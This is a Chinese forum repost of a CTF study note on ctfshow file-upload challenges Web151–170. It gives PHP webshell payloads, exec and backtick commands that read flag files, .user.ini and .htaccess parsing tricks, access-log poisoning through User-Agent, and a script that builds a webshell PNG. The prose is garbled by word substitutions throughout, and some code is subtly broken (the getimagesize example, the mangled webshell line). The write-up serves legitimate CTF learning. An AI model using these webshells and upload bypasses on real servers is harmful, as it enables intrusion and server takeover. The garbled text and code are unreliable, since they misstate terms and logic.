商道如狼道 发表于 2024-10-16 11:20:57

【CTF-Web】文件上传漏洞学习笔记(ctfshow标题)

文件上传



What is Upload-File?

顾名思义就是给网上传文件,比如qq空间
上传文件时服务器后端语言没有对上传的文件进行严格的验证和过滤,容易造成上传任意文件的情况,从而使得攻击者绕过上传机制上传恶意代码并实验控制服务器
恶意代码文件就是php asp aspx jsp等,也被称为webshell
Upload-File In CTF

Web151

考点:前端校验

解题:

https://i-blog.csdnimg.cn/blog_migrate/619f539d7ef8f785b34f73a6b284d709.png
进来之后很显着一个上传点 而且给出提示
直接上传php后缀文件被禁止 同时任意长传一个其他的后缀 随意输入也被禁止
故为白名单检测 只能上传png后缀格式
于是构造一句话木马放到图片中上传
GIF89a<?php eval($_POST['a']);?>
https://i-blog.csdnimg.cn/blog_migrate/caa809f3e33b8c6276b04568adbbf1ae.png
抓包,想要把php的内容解析 必要把后缀修改
在抓包的这一块已经绕过了前端验证
https://i-blog.csdnimg.cn/blog_migrate/c0a15411e65d7fee024e700c47a12784.png
修改 发送 上传成功
https://i-blog.csdnimg.cn/blog_migrate/ca2f7223ee313d9862c4a29c96c50525.png
得到图片的路径/upload/upload.php
肯定注意是php后缀 由于修改过 上传的就是php后缀的文件


[*]法1 : 直接rce
https://i-blog.csdnimg.cn/blog_migrate/f9cd42dc35c90a0991d425433bbf8ae0.png


[*]法2 : 中国蚁剑
https://i-blog.csdnimg.cn/blog_migrate/8aaabeebb618a64e09d0bcbe6ccca8e7.png
暗码是我们一句话木马里面的参数a
https://i-blog.csdnimg.cn/blog_migrate/61c4987c20ea0c743b821ab221716791.png
连接成功
https://i-blog.csdnimg.cn/blog_migrate/b8260833ef0c16388fb457cc2a178468.png
Web152

考点:后端校验要严密

解题:

https://i-blog.csdnimg.cn/blog_migrate/996cbce0606d556ce698b7d0fbd468d3.png
https://i-blog.csdnimg.cn/blog_migrate/07625a7f05fb78f58d75207eb235fc6d.png
这里和上一题一样 就能买通 但是思考一下标题 为什么说后端验证要严格呢
这里我们重新构造了一个一句话木马图片不加前缀GIF89a
https://i-blog.csdnimg.cn/blog_migrate/6a4f730c88d0b8c50075aed199ec6995.png
好吧 效果是一样的hhh
原来我以为与Content-Type有关
   

[*]image/png
[*]image/gif
[*]jpg image/jpeg
然鹅并没有 OK 解决 下一题
Web153

考点:后端校验 配置文件介绍

解题:

再上传一个png 改后缀为php 好!寄
https://i-blog.csdnimg.cn/blog_migrate/03c99202b7c8f44c46b57fba4772ae06.png
可以看到msg没有正常表现位置 上传失败
以是我们使用配置文件去解析一下,配置文件有两个 下面分别介绍一下
Reference1
   

[*] .user.ini
在nginx或者Apache服务中都可以使用
利用条件:open_basedir没有被限定
利用函数:auto_append_file 、 auto_prepend_file
利用原理:使用该配置文件可以让所有php文件自动包含某个文件
表明两个函数:
auto_append_file : 在加载打开的php文件的第一行代码之后加载配置指定的php文件
auto_prepend_file : 在加载打开的php文件的第一行代码之前加载配置指定的php文件
利用过程:

[*]上传一句话木马图片
[*]上传配置文件
[*]找到目标服务器任意的php进行访问 会触发我们的配置文件
   

[*] .htaccess
只能在Apache使用
那我们先探测一下 这个网址的服务是什么
在kali里面直接whatweb
┌──(kali㉿kali)-[~]
└─$ whatweb http://340f03f0-6c52-4b26-95e2-65c0a527be46.challenge.ctf.show/
http://340f03f0-6c52-4b26-95e2-65c0a527be46.challenge.ctf.show/ Country, HTML5, HTTPServer, IP, JQuery, PHP, Script, Title, X-Powered-By, nginx
发现是nginx 以是使用第一个配置文件
先上传我们一句话木马构造的png文件 不用抓包了 就直接上传即可
然后 想办法上传配置文件
先上传一个正常的png后缀 否则过不了前端 抓包 修改名字和内容
https://i-blog.csdnimg.cn/blog_migrate/3b4aa6182f0613e9dd5eb7560ef16342.png
然后在upload目次下尝试index.php 确实存在 访问则会触发配置文件
https://i-blog.csdnimg.cn/blog_migrate/d5253091aabbbde5baee5b402b1a5990.png
https://i-blog.csdnimg.cn/blog_migrate/5f9a4c6b8c6ff1183230cb6d053dc9e8.png
Web154

考点:后端内容校验 巨细写绕过

解题:

https://i-blog.csdnimg.cn/blog_migrate/2833edb37badec4a18be27077c87e8e3.png
上传png文件 发现对内容有检测
先巨细写绕过试试
https://i-blog.csdnimg.cn/blog_migrate/cd519eb354a9e9070ba4c8a28c2d9d60.png
成功
https://i-blog.csdnimg.cn/blog_migrate/1850fdcde67de9693d2fe5deba7ffa20.png
上传配置文件
https://i-blog.csdnimg.cn/blog_migrate/09e0ea478c59a8eb2edc7c9a39880e43.png
拿到flag
Web155

考点:后端内容校验 短标签绕过

解题:

https://i-blog.csdnimg.cn/blog_migrate/991b4231d244a6c9b1cb7fb846b3a9d0.png
巨细写绕过失效 改为短标签
<?php echo 1; ?> 正常写法

<? echo 1; ?> 短标签写法,5.4 起 <?= 'hello'; === <? echo 'hello';

<?= phpinfo();?>

<% echo 1; %> asp 风格写法

<script language="php"> echo 1; </script> 长标签写法
https://i-blog.csdnimg.cn/blog_migrate/d7e7996341480bd633cbbbff64ef7694.png
参考
https://i-blog.csdnimg.cn/blog_migrate/6cf0f521d99b4bc78c90655baa4a5f04.png
直接在上面的包里修改上传即可
https://i-blog.csdnimg.cn/blog_migrate/3ef2c66d988554460c3578cc38376e3a.png
拿到flag
Web156

考点:后端内容校验 中括号 符号绕过

解题:

中括号被限定了
使用大括号绕过
https://i-blog.csdnimg.cn/blog_migrate/629549df7475299cabb797a195fd021a.png
我们要来看看源码学习一下 用蚁剑连接一下
https://i-blog.csdnimg.cn/blog_migrate/a0ba69269a98ce6f8383ca4a0351225b.png
https://i-blog.csdnimg.cn/blog_migrate/321a5f392b3fc49af71d758282ce5c8b.png
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
        $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
            $ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
            if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && stripos($content,"[")===FALSE){
                  move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                  $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                  $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
               
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
                   
            }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
           
    }

}

echo json_encode($ret);

https://i-blog.csdnimg.cn/blog_migrate/656168c4f574aa15020aa8d1540f079c.png
Web157、158

考点:后端内容校验 大括号 符号绕过

解题:

这次大括号也被ban了 以是不使用一句话木马 而是直接rce 注意嗷!分号也被ban了 直接删除即可
<? exec('cat ../f* > myflag.txt')?>
表明一下命令语句:
   

[*]system : 输出并返回最后一行的shell结果
[*]exec :不输出结果 返回最后一行shell的结果 所有结果可以保存到一个返回的数组里面
[*]passthru :只调用命令,把命令的运行结果原样直接输出到标准输出设备上
在我们的payload中 使用>可以把结果自定义存储到myflag.txt文件中
https://i-blog.csdnimg.cn/blog_migrate/e1b6e7de5c6db1ce755ed97b9df40333.png
https://i-blog.csdnimg.cn/blog_migrate/4658a4931e621fd02ce8b6ae51ec939a.png
触发
https://i-blog.csdnimg.cn/blog_migrate/83fcd6bff980c6580cf713584cfe6bdd.png
查看:注意是在upload目次下
https://i-blog.csdnimg.cn/blog_migrate/73a7a82cc8cc11bfbb46ce59565670cc.png
也可以直接使用system
https://i-blog.csdnimg.cn/blog_migrate/87e8290b392d918213c91f7adf85a78f.png
https://i-blog.csdnimg.cn/blog_migrate/74083af7ac5d23c2b134c9d64e1b2f08.png
https://i-blog.csdnimg.cn/blog_migrate/5b36a0f3fc47f5dbe8eb09a320cddb37.png
Web159

考点:后端内容校验 小括号 符号绕过

解题:

仍然在前端有限定 只能上传png后缀的文件
以是首先通过png后缀的图片写马
发现小括号被过滤了,绕过的方法就是 ` 反引号去代替绕过
两种写马的方法:
   
[*]写入到文件中 用 > 进行定向
<? `cat ../f* > myflag.txt` ?>

[*]直接使用echo进行表现
<? echo `tac ../f*` ?>
https://i-blog.csdnimg.cn/blog_migrate/be4926d60e50ea79fdba602e99cc5960.png
然后通过配置文件.user.ini去解析php
https://i-blog.csdnimg.cn/blog_migrate/1f85b352b1aaa508678b8941304453e7.png
Web160

考点:后端内容校验 强限定 日志文件包含利用

解题:

首先要介绍一下php中include函数:
在php代码的进行过程中,遇到include函数就去跳转到包含的文件中进行读取,并表现在输出中,假如是php代码,会自动解析,假如不是,则单纯以文本的方式表现,示比方下:
<?php
include('1.txt')?>
https://i-blog.csdnimg.cn/blog_migrate/0dbf7e99ea2f99c4a1c0e1fec7eeb98d.png
然后回到这个标题中我们发现,反引号和空格全部被过滤了,通过单一的上传时无法实现的,以是我们接纳对日志的利用。
那么日志记载的是什么呢,查看了一下本地的access.log文件
https://i-blog.csdnimg.cn/blog_migrate/77cc8a875dd446c12a10f60db57fa10b.png
发现记载的有User-Agent字段里面的内容
以是我们把一句话木马放到User-Agent字段中进行写入到日志中,然后通过include的函数,触发解析日志中的一句话木马
https://i-blog.csdnimg.cn/blog_migrate/93f88ec16cb5f5e869fd8c64381d04dc.png
https://i-blog.csdnimg.cn/blog_migrate/7214ce86726ef7ce2d69cc6a9b06161b.png
<?include"/var/l"."og/nginx/access.lo"."g"?>
到此成功上传png文件,但是请注意两点,一个是对log有过滤,对于字符串的过滤我们将他隔开即可
第二个是必要作为php语句进行解析,以是还是必要使用.user.ini
https://i-blog.csdnimg.cn/blog_migrate/e8f4371df3a6b6e677077878c1aa32f7.png
然后进行触发
https://i-blog.csdnimg.cn/blog_migrate/ccae9bde342c7aab21a018cd5879dacb.png
进行连接,注意两点,一是url要加头,二是连到index.php
https://i-blog.csdnimg.cn/blog_migrate/45cb3a2eef31195886ec24a62bc4df6c.png
源码一贴,学习一下验证头脑:
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
        $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
            $ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
            if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content)){
                  move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                  $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                  $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
               
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
                   
            }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
           
    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(| |\`/i', $str);
}
echo json_encode($ret);
Web161

考点:文件头检测

解题:

上题的payload上传失败
给png添加幻术,加文件头GIF89a?
https://i-blog.csdnimg.cn/blog_migrate/682ea1ea389c4b30c2e26805cd43fc13.png
https://i-blog.csdnimg.cn/blog_migrate/f4cd60203a6f7b6de73490796b9e0b0d.png
贴一下源码,与上题对比去看看文件头的检测机制:
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
        $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
            $ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
            if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"]
)){
                  move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                  $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                  $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
               
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
                   
            }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
           
    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(| |\`/i', $str);
}
echo json_encode($ret);

找到检测中的区别:
getimagesize($_FILES["file"]["tmp_name"]
It is using the getimagesize function to retrieve information about an uploaded image file.
$imageInfo = getimagesize($_FILES["file"]["tmp_name"]
);if ($imageInfo !== false) {    $width = $imageInfo;    $height = $imageInfo;    $mime = $imageInfo["mime"];    echo "Image width: " . $width . " pixels<br>";    echo "Image height: " . $height . " pixels<br>";    echo "Image MIME type: " . $mime;} else {    echo "Invalid image file";} This code retrieves the width, height, and MIME type of the uploaded image and displays them as output.
由于检测MIME,以是必要添加文件头
Web162

Web164

考点:PNG图片二次渲染

这个标题奇希奇怪的许多坑哟
经过测试 只允许上传png
直接上传一个我们普通的假的png木马图片 不会成功
https://i-blog.csdnimg.cn/blog_migrate/1e77fe032de906a015cc5331d212c53d.png
上传普通的木马图片 比如在尾部的木马 会被经过二次渲染而清除
上传用脚本天生木马图片
https://i-blog.csdnimg.cn/blog_migrate/47757cbd134374e2a40200c3368f0497.png
成功上传
这个图片的天生方式如下:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
             0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
             0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
             0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
             0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
             0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
             0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
             0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>
对应的木马内容:<?$_GET($_POST);?>
上传后直接点击查看图片
https://i-blog.csdnimg.cn/blog_migrate/c36ba0876bddd4604cb0405bca50df84.png
然后进行传参
https://i-blog.csdnimg.cn/blog_migrate/fc5b60c02cef691902f8e921b60d4c95.png
会表现看不了,你以为失败了吗 实在并没有,这个时候CtrlS 保存图片 然后改成txt文本查看 就会发现 flag已经在图片里面了
https://i-blog.csdnimg.cn/blog_migrate/dffe7be59f383cfe9f4f86beca2dc507.png
之以是在图片里面 感觉是由于二次渲染的功效吧
Web165

考点:JPG图片二次渲染

开题之后 png也上传不了
测试后发现只能上传jpg文件
目前遇到两个坑

[*]上传后查看图片无法抓包
[*]大爹脚本无法对下载后的图片进行渲染绕过 始终报错somethingwrong
第一个坑之以是必要是由于查看jpg图片的返回包,我们可以很清楚的发现存在二次渲染的痕迹,即ATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
   解决方案:
思考下我们抓包的内容是什么,是图片的信息,以是我们也可以直接下载图片然后txt打开就可以看到二次渲染的痕迹啦
关于第二个 目前也没有解决 感觉必要审一下代码
但是和A师傅要了一个武器库
上传后直接连 不用考虑二次渲染题目,都处理好了
https://i-blog.csdnimg.cn/blog_migrate/35de1c57ea054d56bc7b77113a7d0166.png
web166

考点:zip文件包含

开题CtrlU看一下
https://i-blog.csdnimg.cn/blog_migrate/34e4efacc3c476d935f85fc8ecf0ebf6.png
发现只能上传zip文件
想在压缩包背面写个一句话,直接在右侧栏中写就好
https://i-blog.csdnimg.cn/blog_migrate/5c44565dc723efc89652e3bd517ba7ca.png
https://i-blog.csdnimg.cn/blog_migrate/67ea6f84f3b15c9e2e9a3b5f8b2c3ee5.png
成功上传后,找到这个下载文件的链接展开利用
https://i-blog.csdnimg.cn/blog_migrate/ed562d46b7c87720c8d47d432b6451dd.png
直接连蚁剑,拿下:
https://i-blog.csdnimg.cn/blog_migrate/a98ce5eb7bbc7b0cf75becb493b8c4b9.png
Web167

考点:.htaccess解析

https://i-blog.csdnimg.cn/blog_migrate/ab55f30d9ac5869c3c0fa0d19bfa3df3.png
只收jpg
https://i-blog.csdnimg.cn/blog_migrate/f4b72f821a0b2d740b32690a38df9b80.png
下载后可以发现木马仍然存在,以是是单纯的没有解析
https://i-blog.csdnimg.cn/blog_migrate/c82536f0f31583f662e1ae55b2a7d4fa.png
考虑尝试下htaccess进行解析
https://i-blog.csdnimg.cn/blog_migrate/da6647b22256b8c4a77ca3d15f4d87c9.png
上传成功
在访问一下图片就能触发解析了
https://i-blog.csdnimg.cn/blog_migrate/ebbdedd6f93476a326929fba0731cf1c.png
直接连蚁剑,拿下
https://i-blog.csdnimg.cn/blog_migrate/eb16e435374f13eb9717f832a721c211.png
现在一回顾可以发现实在题面也给出了提示
https://i-blog.csdnimg.cn/blog_migrate/fa3b692da3eb4ccbdbd9d4c0338cb60c.png
httpd
web168

考点:基础免杀

https://i-blog.csdnimg.cn/blog_migrate/02979d7f575f6b2ed9939ee6ce35ced9.png
接收png,先上武器库图片
发现带木马的图片直接传不了
正常的可以传,如下
https://i-blog.csdnimg.cn/blog_migrate/e876cc3643e3be08a6fb6ba6122b0196.png
我们通过这个正常上传的文件抓到上传包
https://i-blog.csdnimg.cn/blog_migrate/04c647c7d62d3e357ad247f38c5ee17c.png
发现改php后缀可以上传成功
https://i-blog.csdnimg.cn/blog_migrate/cf16c94ea0dd2896852bacd98a9137cc.png
推测一下位置,发现也可以解析成功
https://i-blog.csdnimg.cn/blog_migrate/02d8c6369f170f42c38b7053c3cc751d.png
上传发现有内容检测,ban了一些东西,既然命令无法实验ls,那么使用var_dump遍历查询目次
https://i-blog.csdnimg.cn/blog_migrate/db42e6fc363a36a583b668c4886253e3.png
此中…表示上级目次
https://i-blog.csdnimg.cn/blog_migrate/d6533b9435b132dadc7fe9c3e15c2ba5.png
想一下怎么读
https://i-blog.csdnimg.cn/blog_migrate/76c3f71d2922383c860b39141358a077.png
先试一下includehttps://i-blog.csdnimg.cn/blog_migrate/e9772137d491a6d722ca9c809b97b3ab.png
被ban
再试show_source
https://i-blog.csdnimg.cn/blog_migrate/f6c4ab18223af3ff121514b772ed5612.png
成功 但是flag在flagaa.php
   总结一下:
基础免杀的寄义无非就是必要绕过几个函数罢了
https://i-blog.csdnimg.cn/blog_migrate/a8c34b88e53e220ace8a40d913ef13aa.png
这是什么呢,存一下
Web169、170

考点:高级免杀 包含日志

https://i-blog.csdnimg.cn/blog_migrate/e1d81fe466109ec75d805f381b6f6cd5.png
开题发现只能传zip
那么通过上传正常的zip文件进行抓包,然后进行利用
注意假如zip文件有马,无法上传
https://i-blog.csdnimg.cn/blog_migrate/c177200a73970a7c1833d076ef2e1cb5.png
https://i-blog.csdnimg.cn/blog_migrate/69f7cf9a3ef0a3d1941d591f18ae8445.png
不知道为什么还是不可,但是抓到包了就足够了
Content-Type: application/x-zip-compressed
当这个类型是zip的时候始终无法上传
修改为png
https://i-blog.csdnimg.cn/blog_migrate/a5d28387b49a94eb63b46e7632cce56d.png
直接成功
https://i-blog.csdnimg.cn/blog_migrate/26f82189f39334f3c25453a9219b1280.png
而且可以发现对后缀也没有任何检测
https://i-blog.csdnimg.cn/blog_migrate/86f82218f6b32b14fa609627be48d729.png
e 被ban了
以是要做高级免杀,想到日志包含
   思路:
把木马写在User-Agent中
然后通过user.ini的设置 把指定的php文件自动加载也就是access.log
设置user.ini
https://i-blog.csdnimg.cn/blog_migrate/e3f852f496c55d1fc15fe09d4203b5e5.png
写木马到access.log
https://i-blog.csdnimg.cn/blog_migrate/76516b761b8dc74bf0f36e308308eb93.png
上传一个php文件触发
https://i-blog.csdnimg.cn/blog_migrate/8b0838da56c92e67db5b6d7935bae4fb.png
访问一下1.php触发
https://i-blog.csdnimg.cn/blog_migrate/d74c9fb4c901bed6fa7856cfa22c0564.png
加载成功
直接蚁剑链接 暗码是1
https://i-blog.csdnimg.cn/blog_migrate/844d237631332aa979703823cc40a7ac.png

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 【CTF-Web】文件上传漏洞学习笔记(ctfshow标题)